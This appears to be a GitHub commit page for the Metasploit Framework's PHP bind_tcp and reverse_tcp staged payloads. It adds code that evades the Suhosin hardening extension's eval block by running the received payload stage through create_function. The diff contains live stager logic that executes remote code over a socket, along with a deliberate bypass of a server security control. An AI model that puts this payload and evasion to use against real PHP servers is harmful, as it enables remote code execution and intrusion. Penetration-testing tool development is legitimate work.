Skip to content

Commit 363d3c2

Browse files
committed
suhosin comaptibility added to staged payload
1 parent 7b87915 commit 363d3c2

File tree

2 files changed

+18
-2
lines changed

2 files changed

+18
-2
lines changed

lib/msf/core/payload/php/bind_tcp.rb

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -109,7 +109,15 @@ def generate_bind_tcp(opts={})
109109
# Set up the socket for the main stage to use.
110110
$GLOBALS['msgsock'] = $s;
111111
$GLOBALS['msgsock_type'] = $s_type;
112-
eval($b);
112+
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
113+
{
114+
$suhosin_bypass=create_function('', $b);
115+
$suhosin_bypass();
116+
}
117+
else
118+
{
119+
eval($b);
120+
}
113121
die();^
114122
end
115123

lib/msf/core/payload/php/reverse_tcp.rb

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -102,7 +102,15 @@ def generate_reverse_tcp(opts={})
102102
# Set up the socket for the main stage to use.
103103
$GLOBALS['msgsock'] = $s;
104104
$GLOBALS['msgsock_type'] = $s_type;
105-
eval($b);
105+
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
106+
{
107+
$suhosin_bypass=create_function('', $b);
108+
$suhosin_bypass();
109+
}
110+
else
111+
{
112+
eval($b);
113+
}
106114
die();^
107115
end
108116

0 commit comments

Comments
 (0)